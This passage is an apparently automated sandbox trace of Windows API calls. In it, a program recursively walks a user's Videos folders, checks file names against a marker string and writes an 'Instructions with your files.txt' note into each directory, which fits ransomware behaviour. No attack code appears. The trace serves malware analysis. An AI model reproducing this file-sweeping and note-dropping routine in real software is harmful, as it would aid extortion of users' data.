[0131.718] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ea2b6d0, ftCreationTime.dwHighDateTime=0x1d5b94f, ftLastAccessTime.dwLowDateTime=0x6d76e310, ftLastAccessTime.dwHighDateTime=0x1d5c4aa, ftLastWriteTime.dwLowDateTime=0x6d76e310, ftLastWriteTime.dwHighDateTime=0x1d5c4aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.718] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\..") returned 74
[0131.718] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5511750, ftCreationTime.dwHighDateTime=0x1d5bcc2, ftLastAccessTime.dwLowDateTime=0xf0101340, ftLastAccessTime.dwHighDateTime=0x1d5c0fa, ftLastWriteTime.dwLowDateTime=0xf0101340, ftLastWriteTime.dwHighDateTime=0x1d5c0fa, nFileSizeHigh=0x0, nFileSizeLow=0xfe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="aK7oW5.mkv", cAlternateFileName="")) returned 1
[0131.718] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\aK7oW5.mkv") returned 82
[0131.718] StrStrIW (lpFirst="aK7oW5.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.718] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ea5d0c0, ftCreationTime.dwHighDateTime=0x1d5b78b, ftLastAccessTime.dwLowDateTime=0xa93cc2d0, ftLastAccessTime.dwHighDateTime=0x1d5b8c4, ftLastWriteTime.dwLowDateTime=0xa93cc2d0, ftLastWriteTime.dwHighDateTime=0x1d5b8c4, nFileSizeHigh=0x0, nFileSizeLow=0xaea9, dwReserved0=0x0, dwReserved1=0x0, cFileName="EhD8Ohtc-.swf", cAlternateFileName="EHD8OH~1.SWF")) returned 1
[0131.718] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\EhD8Ohtc-.swf") returned 85
[0131.718] StrStrIW (lpFirst="EhD8Ohtc-.swf", lpSrch="SDfghjkl") returned 0x0
[0131.718] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76417fb0, ftCreationTime.dwHighDateTime=0x1d5be9b, ftLastAccessTime.dwLowDateTime=0x9cd70ad0, ftLastAccessTime.dwHighDateTime=0x1d5ba01, ftLastWriteTime.dwLowDateTime=0x9cd70ad0, ftLastWriteTime.dwHighDateTime=0x1d5ba01, nFileSizeHigh=0x0, nFileSizeLow=0xb333, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gba_kCLzgI_WRvwrVs.avi", cAlternateFileName="GBA_KC~1.AVI")) returned 1
[0131.718] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\Gba_kCLzgI_WRvwrVs.avi") returned 94
[0131.718] StrStrIW (lpFirst="Gba_kCLzgI_WRvwrVs.avi", lpSrch="SDfghjkl") returned 0x0
[0131.718] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa19e9610, ftCreationTime.dwHighDateTime=0x1d5c135, ftLastAccessTime.dwLowDateTime=0xd1124680, ftLastAccessTime.dwHighDateTime=0x1d5c1a8, ftLastWriteTime.dwLowDateTime=0xd1124680, ftLastWriteTime.dwHighDateTime=0x1d5c1a8, nFileSizeHigh=0x0, nFileSizeLow=0xb4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="N3d9XEh2.swf", cAlternateFileName="")) returned 1
[0131.718] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\N3d9XEh2.swf") returned 84
[0131.718] StrStrIW (lpFirst="N3d9XEh2.swf", lpSrch="SDfghjkl") returned 0x0
[0131.718] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c2080, ftCreationTime.dwHighDateTime=0x1d5b6d1, ftLastAccessTime.dwLowDateTime=0xe7c9be00, ftLastAccessTime.dwHighDateTime=0x1d5b643, ftLastWriteTime.dwLowDateTime=0xe7c9be00, ftLastWriteTime.dwHighDateTime=0x1d5b643, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sYjrrF42N5C", cAlternateFileName="SYJRRF~1")) returned 1
[0131.718] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C") returned 83
[0131.718] GetProcessHeap () returned 0x810000
[0131.718] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.719] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\*") returned 85
[0131.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c2080, ftCreationTime.dwHighDateTime=0x1d5b6d1, ftLastAccessTime.dwLowDateTime=0xe7c9be00, ftLastAccessTime.dwHighDateTime=0x1d5b643, ftLastWriteTime.dwLowDateTime=0xe7c9be00, ftLastWriteTime.dwHighDateTime=0x1d5b643, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.719] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\.") returned 85
[0131.720] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c2080, ftCreationTime.dwHighDateTime=0x1d5b6d1, ftLastAccessTime.dwLowDateTime=0xe7c9be00, ftLastAccessTime.dwHighDateTime=0x1d5b643, ftLastWriteTime.dwLowDateTime=0xe7c9be00, ftLastWriteTime.dwHighDateTime=0x1d5b643, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.720] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\..") returned 86
[0131.720] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c064e0, ftCreationTime.dwHighDateTime=0x1d5c358, ftLastAccessTime.dwLowDateTime=0x2e420860, ftLastAccessTime.dwHighDateTime=0x1d5b833, ftLastWriteTime.dwLowDateTime=0x2e420860, ftLastWriteTime.dwHighDateTime=0x1d5b833, nFileSizeHigh=0x0, nFileSizeLow=0x1545, dwReserved0=0x0, dwReserved1=0x0, cFileName="n0el.flv", cAlternateFileName="")) returned 1
[0131.720] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\n0el.flv") returned 92
[0131.720] StrStrIW (lpFirst="n0el.flv", lpSrch="SDfghjkl") returned 0x0
[0131.720] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d23ca60, ftCreationTime.dwHighDateTime=0x1d5c46b, ftLastAccessTime.dwLowDateTime=0x373fdf80, ftLastAccessTime.dwHighDateTime=0x1d5bd94, ftLastWriteTime.dwLowDateTime=0x373fdf80, ftLastWriteTime.dwHighDateTime=0x1d5bd94, nFileSizeHigh=0x0, nFileSizeLow=0xaa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="oUXBYD2ONLDzuTIi.avi", cAlternateFileName="OUXBYD~1.AVI")) returned 1
[0131.720] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\oUXBYD2ONLDzuTIi.avi") returned 104
[0131.720] StrStrIW (lpFirst="oUXBYD2ONLDzuTIi.avi", lpSrch="SDfghjkl") returned 0x0
[0131.720] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d23ca60, ftCreationTime.dwHighDateTime=0x1d5c46b, ftLastAccessTime.dwLowDateTime=0x373fdf80, ftLastAccessTime.dwHighDateTime=0x1d5bd94, ftLastWriteTime.dwLowDateTime=0x373fdf80, ftLastWriteTime.dwHighDateTime=0x1d5bd94, nFileSizeHigh=0x0, nFileSizeLow=0xaa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="oUXBYD2ONLDzuTIi.avi", cAlternateFileName="OUXBYD~1.AVI")) returned 0
[0131.720] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\Instructions with your files.txt") returned 116
[0131.720] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\sYjrrF42N5C\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwuv\\fjktya8ar\\1e8vmxnaeh6et3a\\syjrrf42n5c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.722] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.723] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.723] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.723] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.723] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.724] CloseHandle (hObject=0x11c) returned 1
[0131.724] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.724] GetProcessHeap () returned 0x810000
[0131.724] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.724] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c2080, ftCreationTime.dwHighDateTime=0x1d5b6d1, ftLastAccessTime.dwLowDateTime=0xe7c9be00, ftLastAccessTime.dwHighDateTime=0x1d5b643, ftLastWriteTime.dwLowDateTime=0xe7c9be00, ftLastWriteTime.dwHighDateTime=0x1d5b643, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sYjrrF42N5C", cAlternateFileName="SYJRRF~1")) returned 0
[0131.724] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\Instructions with your files.txt") returned 104
[0131.724] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\1e8VmxnaEH6ET3a\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwuv\\fjktya8ar\\1e8vmxnaeh6et3a\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.725] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.726] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.726] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.726] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.726] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.726] CloseHandle (hObject=0x118) returned 1
[0131.726] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.726] GetProcessHeap () returned 0x810000
[0131.726] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.727] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d8f44c0, ftCreationTime.dwHighDateTime=0x1d5be9d, ftLastAccessTime.dwLowDateTime=0x6d903d80, ftLastAccessTime.dwHighDateTime=0x1d5bc51, ftLastWriteTime.dwLowDateTime=0x6d903d80, ftLastWriteTime.dwHighDateTime=0x1d5bc51, nFileSizeHigh=0x0, nFileSizeLow=0x16f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="8KozraQFZn-n.avi", cAlternateFileName="8KOZRA~1.AVI")) returned 1
[0131.727] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\8KozraQFZn-n.avi") returned 72
[0131.727] StrStrIW (lpFirst="8KozraQFZn-n.avi", lpSrch="SDfghjkl") returned 0x0
[0131.727] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee300ad0, ftCreationTime.dwHighDateTime=0x1d5c5eb, ftLastAccessTime.dwLowDateTime=0x3febeed0, ftLastAccessTime.dwHighDateTime=0x1d5c442, ftLastWriteTime.dwLowDateTime=0x3febeed0, ftLastWriteTime.dwHighDateTime=0x1d5c442, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="r7A yUI5d3Zrs.avi", cAlternateFileName="R7AYUI~1.AVI")) returned 1
[0131.727] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\r7A yUI5d3Zrs.avi") returned 73
[0131.727] StrStrIW (lpFirst="r7A yUI5d3Zrs.avi", lpSrch="SDfghjkl") returned 0x0
[0131.727] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee300ad0, ftCreationTime.dwHighDateTime=0x1d5c5eb, ftLastAccessTime.dwLowDateTime=0x3febeed0, ftLastAccessTime.dwHighDateTime=0x1d5c442, ftLastWriteTime.dwLowDateTime=0x3febeed0, ftLastWriteTime.dwHighDateTime=0x1d5c442, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="r7A yUI5d3Zrs.avi", cAlternateFileName="R7AYUI~1.AVI")) returned 0
[0131.727] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\Instructions with your files.txt") returned 88
[0131.727] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\fJKtya8Ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwuv\\fjktya8ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.727] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.728] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.728] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.728] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.728] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.728] CloseHandle (hObject=0x114) returned 1
[0131.728] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.728] GetProcessHeap () returned 0x810000
[0131.728] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.728] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc864810, ftCreationTime.dwHighDateTime=0x1d5bf0b, ftLastAccessTime.dwLowDateTime=0xe4773d50, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xe4773d50, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x4177, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvvJ0iW77PiCfb.flv", cAlternateFileName="JVVJ0I~1.FLV")) returned 1
[0131.728] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\jvvJ0iW77PiCfb.flv") returned 64
[0131.729] StrStrIW (lpFirst="jvvJ0iW77PiCfb.flv", lpSrch="SDfghjkl") returned 0x0
[0131.729] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1345270, ftCreationTime.dwHighDateTime=0x1d5ba6c, ftLastAccessTime.dwLowDateTime=0x3bd99c80, ftLastAccessTime.dwHighDateTime=0x1d5c3e2, ftLastWriteTime.dwLowDateTime=0x3bd99c80, ftLastWriteTime.dwHighDateTime=0x1d5c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x18d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Py1IFiaAztbI0pt.mp4", cAlternateFileName="PY1IFI~1.MP4")) returned 1
[0131.729] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\Py1IFiaAztbI0pt.mp4") returned 65
[0131.729] StrStrIW (lpFirst="Py1IFiaAztbI0pt.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.729] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73aad040, ftCreationTime.dwHighDateTime=0x1d5b73d, ftLastAccessTime.dwLowDateTime=0xf939c860, ftLastAccessTime.dwHighDateTime=0x1d5bfe4, ftLastWriteTime.dwLowDateTime=0xf939c860, ftLastWriteTime.dwHighDateTime=0x1d5bfe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S9Qb7dL", cAlternateFileName="")) returned 1
[0131.729] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL") returned 53
[0131.729] GetProcessHeap () returned 0x810000
[0131.729] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.729] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\*") returned 55
[0131.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73aad040, ftCreationTime.dwHighDateTime=0x1d5b73d, ftLastAccessTime.dwLowDateTime=0xf939c860, ftLastAccessTime.dwHighDateTime=0x1d5bfe4, ftLastWriteTime.dwLowDateTime=0xf939c860, ftLastWriteTime.dwHighDateTime=0x1d5bfe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.730] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\.") returned 55
[0131.730] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73aad040, ftCreationTime.dwHighDateTime=0x1d5b73d, ftLastAccessTime.dwLowDateTime=0xf939c860, ftLastAccessTime.dwHighDateTime=0x1d5bfe4, ftLastWriteTime.dwLowDateTime=0xf939c860, ftLastWriteTime.dwHighDateTime=0x1d5bfe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.730] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\..") returned 56
[0131.730] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a9caf80, ftCreationTime.dwHighDateTime=0x1d5c1e8, ftLastAccessTime.dwLowDateTime=0xa4448d90, ftLastAccessTime.dwHighDateTime=0x1d5c34a, ftLastWriteTime.dwLowDateTime=0xa4448d90, ftLastWriteTime.dwHighDateTime=0x1d5c34a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0sGrBu7qd_YP3", cAlternateFileName="0SGRBU~1")) returned 1
[0131.730] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3") returned 67
[0131.731] GetProcessHeap () returned 0x810000
[0131.731] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.731] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\*") returned 69
